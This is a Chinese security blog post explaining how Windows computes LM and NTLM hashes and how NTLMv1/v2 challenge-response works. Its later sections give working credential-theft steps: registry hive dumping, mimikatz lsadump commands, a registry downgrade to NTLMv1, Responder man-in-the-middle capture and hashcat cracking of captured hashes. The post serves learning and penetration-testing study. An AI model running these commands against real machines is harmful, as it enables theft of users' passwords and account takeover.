Windows 认证简介

  • A+
所属分类:安全闲碎

Windows 认证简介

Windows 认证

Windows 本地认证

winlogon.exe     Windows 用来管理用户登录和退出
lsass.exe            用于本地安全与登录策略
SAM                  Windows系统中存放系统用户及密码的一种文件,并采用Syskey(系统秘钥)加密保护。

Windows 认证简介


这也是为什么,当我们记不住密码的时候,可以通过进入PE系统修改SAM文件的方式,替换密码进行登录。亦或者通过获取SAM文件进行离线破解。

LM-HASH 生成过程

LM哈希使用DES加密方法,方法是根据用户的密码创建加密密钥,然后对字符串"[email protected]#$%"的16进制进行加密:
我们以 Test001. 密码为例


Windows 认证简介

LM Hash
88bcd986232a19685aacd84cd494924f

LM Hsah 加密过程

1.首先它限制 用户的密码最多为 14 个字符

2.它会将用户的密码全部转换为大写

3.将转换为大写的密码,再次转换为16进制,如果转换后不足14个字节(112bits)的会用0进行补全。

一个字节 = 8bit
14个字节 = 14 8 = 112bit
二进制 占 一个 bit
八进制 占 三个 bit
十六进制 占 四个 bit
Test001. > TEST001.
TEST001. 16进制:544553543030312E  > 16 4  = 64 bit
我们需要补全 112 bit,还差 48 bit,这 48 bit 全部用 0 进行补全。12个0
544553543030312E000000000000

4.将上面转换后的 16进制,分为两组,每组7个字节(56bit)

54455354303031 2E000000000000

5.再将每一组的7个字节,全部转换为 二进制。(从左补全56bit)

54455354303031
0101 0100 0100 0101 0101 0011 0101 0100 0011 0000 0011 0000 0011 0001
2E000000000000
0010 1110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

6.每7位添加一个奇偶校验位(添加一个0)

54455354303031
0101 0100 0100 0101 0101 0011 0101 0100 0011 0000 0011 0000 0011 0001
0101010 0 
0010001 0
0101010 0
0110101 0
0100001 0
1000000 0
1100000 0   
0110001 0
添加奇偶校验位后的二进制
0101010000100010010101000110101001000010100000001100000001100010

2E000000000000
0010 1110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0010111 0
0000000 0
0000000 0
0000000 0
0000000 0
0000000 0
0000000 0
0000000 0
添加奇偶校验位后的二进制
0010111000000000000000000000000000000000000000000000000000000000

7.将添加奇偶校验位后的二进制再次转化为 16 进制

二进制:
0101010000100010010101000110101001000010100000001100000001100010
0010111000000000000000000000000000000000000000000000000000000000
16进制:
5422546A4280C062
2E00000000000000

8.与魔术字符串 [email protected]#$%  的16进制进行des加密

[email protected]#$% -> 4B47532140232425  作为明文
5422546A4280C062    2E00000000000000 作为秘钥
密文:    88BCD986232A1968
5AACD84CD494924F

Windows 认证简介

Windows 认证简介


9. 拼接这两个秘文就组成了LM HASH

88BCD986232A19685AACD84CD494924F


Windows 认证简介


需要注意的是,采用LM-Hash 加密方式的密码是不区分大小的,因为最终都会全部转换为大写、并且密码长度最多为14位(112bit)、还可以通过加密后的值,反推加密前的密码位数,并且DES本身加密强度就较弱。并且当密码不足7位时,LM-Hash 末尾是恒定不变的值 AA-D3-B4-35-B5-14-04-EE


Windows 认证简介


NTLM-Hash(NT Hash) 生成过程

由于LM-Hash的脆弱性,微软在此基础上提出了 NTLM-hash。
NTLM-hash 的计算过程如下

1. 将明文密码转换为 ASCII 码

Test001.  -> 54 65 73 74 30 30 31 2e

2. 将 ASCII 转换为Unicode (小端序)

例如:a 在 ascii 中为 0x61 相应的它在 Unicode 中的则表示为 0x0061,而微软使用的是小端序,所以相应的610x00

大端序(Big-Endian,大尾序)
高位字节放内存低位,低位字节放内存高位
a -> 0x0061
小端序(Little-Endian,小尾序)
高位字节放内存高位,低位字节放内存低位
a -> 610x00

54 65 73 74 30 30 31 2e -> 5400 6500 7300 7400 3000 3000 3100 2e00

3. 再采用MD4摘要算法,对转换后的值进行加密

5400 6500 7300 7400 3000 3000 3100 2e00 -> A139FE4EC5CF0993B552D7EB3E7D3263


Windows 认证简介


LMNTLM hash破解

通过上面的认证过程,与LM和NTLM的加密过程,我们可以知道,本地用户的LMNTLM-hash都保存在SAM文件中,当我们想破解本地账户的密码的时候,可以通过SAM文件,获取到本地用户的 hash ,然后对其进行破解。

如何破解?

我们知道,hash 是不可逆的,当密码数据做了 hash 加密后,对于我们来说,它就只是一串没有意义的字符串,我们无法将其直接还原为密码明文。
但是我们可以通过其它方式去间接解决不可逆的问题。我们可以通过穷举法与照表法,彩虹表去进行破解。

穷举法

一种需要大量计算的破解方式。我们以14位字母和数字的组合密码为例,它一共有 1.24 * 10^25 种可能。将每一种可能与 hash 做对比,如果相同就相当于获取到了,明文密码。但是我们需要知道,假设电脑每秒运算 10 亿次,也需要 4 亿年才能穷举完。这是非常消耗时间。

照表法

一种需要海量存储的破解方式。任然以14位字母和数字的组合为例,预先生成每一种字符组合的 hash,并进行匹配这样很快就能匹配到,但是我们需要知道生成密码对应的32位hash字符串的对照表需要 5.7* 10^14 TB的存储空间,如果密码长度继续增加,那么需要的存储空间也会成海量上升。
虽然这两种方式都有可能破解出来,但是对于我们来说,还是太困难了。

彩虹表

Rainbow Tables,即安全界中常提及的彩虹表,最初它是以Windows的用户帐户LM/NTLM散列为破解对象。
彩虹表详细介绍,参考知乎老哥的回答 https://www.zhihu.com/question/19790488
简单说一下彩虹表,与上面两种方式对比它在时间与空间中做到了平衡更利于 hash 的破解

在线的彩虹表破解平台
https://www.objectif-securite.ch/ophcrack

Windows 认证简介


解过程

获取 hash 的多种方式

1.使用 Pwdump 获取 Hash

下载地址:https://www.tarasco.org/security/pwdump_7/

Windows 认证简介


2.使用 reg 导出
reg save hklmsam sam.hive
reg save hklmsystem system.hive
2.1使用 mimikatz 离线获取
lsadump::sam /sam:sam.hive /system:system.hive

Windows 认证简介

3.mimikatz 读取本地 sam 文件
privilege::debug
token::elevate
lsadump::sam

Windows 认证简介

破解 hash

离线破解,需要下载彩虹表或者自己构建 (这里由于虚拟机问题,没有用 opcrack 进行破解,图是别的帖子找的)
opcrack https://www.objectif-securite.ch/ophcrack


Windows 认证简介

Windows 认证简介


Windows 认证简介


在线破解:
https://www.objectif-securite.ch/ophcrack


Windows 认证简介

Windows 网络认证

Net-NTLM Hash

之前我们说到,NTLM hash 是保存在 SAM或者域控的 NTDS.dit 文件中的密码 hash。他主要用于登录认证。我们可以用它破解密码或者做 hash 传递攻击。
与之相对应的,Windows 还存在 Net-NTLM-Hash ,它是用于Windows 环境中身份验证的质询响应协议。他们在算法中也是使用的 NT hash,所以它们也有可能被破解还原成明文密码,同时它还可用于中继攻击。Net-NTLM-hash 有两个版本,分别是 NTLMv1 与 NTLMv2。

NTLMv1 加密流程

由于从 vista 与 2008 开始就默认使用 NET-NTLMv2 了,所以,需要手动开启NTLMv1

reg add HKLMSYSTEMCurrentControlSetControlLsa /v lmcompatibilitylevel /t REG_DWORD /d 0 /f


Windows 认证简介


1.客户端向服务器发送一个请求与协商

NTLM 参考 http://davenport.sourceforge.net/ntlm.html

Windows 认证简介

2.服务器接收到请求后,生成一个8位的Challenge,发送回客户端

Windows 认证简介

3.客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器

Windows 认证简介

4.服务器校验客户端发送response,相同则认证通过

NTLMv1 破解

NTLM 格式

username::hostname:LM response:NTLM response:challenge

通过wireshark抓包可以组合出 NTLMv1 hash

test01::ATTACK:076343c9a9005c5a00000000000000000000000000000000:560946e349cb676d89f0daeacd416aea8f3cc5fb18b303b4:d2d7f518fc52c601

使用 Hashcat 进行破解

hashcat -m 5500 test01::ATTACK:076343c9a9005c5a00000000000000000000000000000000:560946e349cb676d89f0daeacd416aea8f3cc5fb18b303b4:d2d7f518fc52c601 password.txt -o 1.txt --force

Windows 认证简介

这里可以看到我们成功破解了 NTLMv1 hash 但是还需要注意的是,我们这里是通过本地抓包获取到的 challenge 与 response。但在实际环境中, 我们更多是通过中间人的方式,获取NET-ntlm hash

使用 Responder 中间人工具获取 Net-NTLM hash

修改配置文件
/etc/responder/Responder.conf 


Windows 认证简介


在攻击端建立监听

responder -I eth0 --lm smb

Windows 认证简介


在受害端抓包可以看到challenge已经变成了1122334455667788、这里为什么要修改为这个值,是因为这个网站https://crack.sh/get-cracking/ 提供免费的解密可以将NTLMv1 还原成 ntlm hash。而且速度很快。


Windows 认证简介


邮箱已经收到邮件,可以看到 key 与我们mimikatz 抓到的 ntlm hash 是一样的。


Windows 认证简介

NTLMv2 加密流程

  1. 客户端向服务器发送一个请求

  2. 服务器接收到请求后,生成一个16位的Challenge,发送回客户端

  3. 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器

  4. 服务器校验response

NTLMv2 加密过程与 v1 基本相似,不过v2解决了 v1 的一些安全性问题。同时将MD4改为MD5 加密。
参考:http://davenport.sourceforge.net/ntlm.html#theNtlmResponse
通过观察 wireshark 我们可以看到 v2 的 response


Windows 认证简介

NTLMv2 破解

NTLMv2 格式

username::domain:challenge:HMAC-MD5:blob
HMAC-MD5 对应的值是 NTProofstr

通过 wireshark 中的信息拼接 NTLMv2
Administrator::HACKER:50d595cd12bfafc4:0f92dc7a6e08ac843d6125c783771fb8:0101000000000000c95f3425e5d9d601d70bda7e22c82a690000000002000c004800410043004b004500520001000c00410054005400410043004b0004001a006800610063006b00650072002e006800610063006b006500720003002800610074007400610063006b002e006800610063006b00650072002e006800610063006b006500720005001a006800610063006b00650072002e006800610063006b006500720007000800c95f3425e5d9d601060004000200000008003000300000000000000000000000003000007906cb1c0552919c80f07f1d8938431d32e8c3ca330536642f4dc4738d25e6320a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0031002e00310030003000000000000000000000000000

Hashcat 破解

hashcat -m 5600 Administrator::HACKER:1122334455667788:040F77C9A9A7BF999E4D6E61797A3016:0101000000000000C0653150DE09D2011B1EFF8F89E54661000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000007906CB1C0552919C80F07F1D8938431D32E8C3CA330536642F4DC4738D25E6320A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310030003100000000000000000000000000 password.txt -o 2.txt --force

Windows 认证简介

Responder 获取 NTLMv2 hash

responder -I eth0

Windows 认证简介

Windows 认证简介

本文始发于微信公众号(疯猫网络):Windows 认证简介

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: